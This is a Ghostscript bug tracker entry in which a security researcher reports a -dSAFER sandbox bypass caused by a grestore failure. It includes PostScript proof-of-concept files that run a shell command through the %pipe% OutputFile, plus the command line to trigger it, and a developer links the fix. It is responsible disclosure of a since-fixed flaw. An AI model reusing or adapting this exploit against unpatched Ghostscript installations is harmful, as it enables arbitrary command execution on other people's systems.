Bug 699714 - another grestore failure SAFER bypass
Summary: another grestore failure SAFER bypass
Status: RESOLVED FIXED
Alias: None
Product: Ghostscript
Classification: Unclassified
Component: Security (public) (show other bugs)
Version: unspecified
Hardware: PC Linux
: P4 critical
Assignee: Chris Liddell (chrisl)
QA Contact: gs-security
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-09-04 18:38 UTC by Tavis Ormandy
Modified: 2019-05-08 13:35 UTC (History)
2 users (show)

See Also:
Customer:
Word Size: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Tavis Ormandy 2018-09-04 18:38:27 UTC
This is a variant of bug 699654, I was reviewing the fix for that bug and looking for other ways the restore could fail.

Here is one that fix doesn't cover:

$ cat testcase.ps
currentpagedevice /PageSize get 0 (foobar) put
a0
{ grestore } stopped clear
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage
Comment 1 Chris Liddell (chrisl) 2018-09-04 20:56:49 UTC
Running that with the 9.24 release gives:
Error: /undefined in --.putdeviceprops--
Operand stack:

Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   2015   1   3   %oparray_pop   2014   1   3   %oparray_pop   1998   1   3   %oparray_pop   1884   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1863   4   3   %oparray_pop
Dictionary stack:
   --dict:978/1684(ro)(G)--   --dict:0/20(G)--   --dict:78/200(L)--
Current allocation mode is local
Last OS error: Resource temporarily unavailable
Current file position is 135
GPL Ghostscript 9.24: Unrecoverable error, exit code 1
Comment 2 Tavis Ormandy 2018-09-04 21:00:50 UTC
Sorry, please use the commandline:

gs -dSAFER -sDEVICE=ppmraw -f 699714.ps 

Apologies for not specifying that.
Comment 3 Tavis Ormandy 2018-09-04 21:03:26 UTC
Here is a version that works without specifying the device, just for reference.

userdict /setpagedevice undef
currentpagedevice /PageSize get 0 (foobar) put
a0
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

{ showpage } stopped pop
quit
Comment 4 Chris Liddell (chrisl) 2018-09-05 08:20:22 UTC
This one is fixed in:
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5812b1b78fc4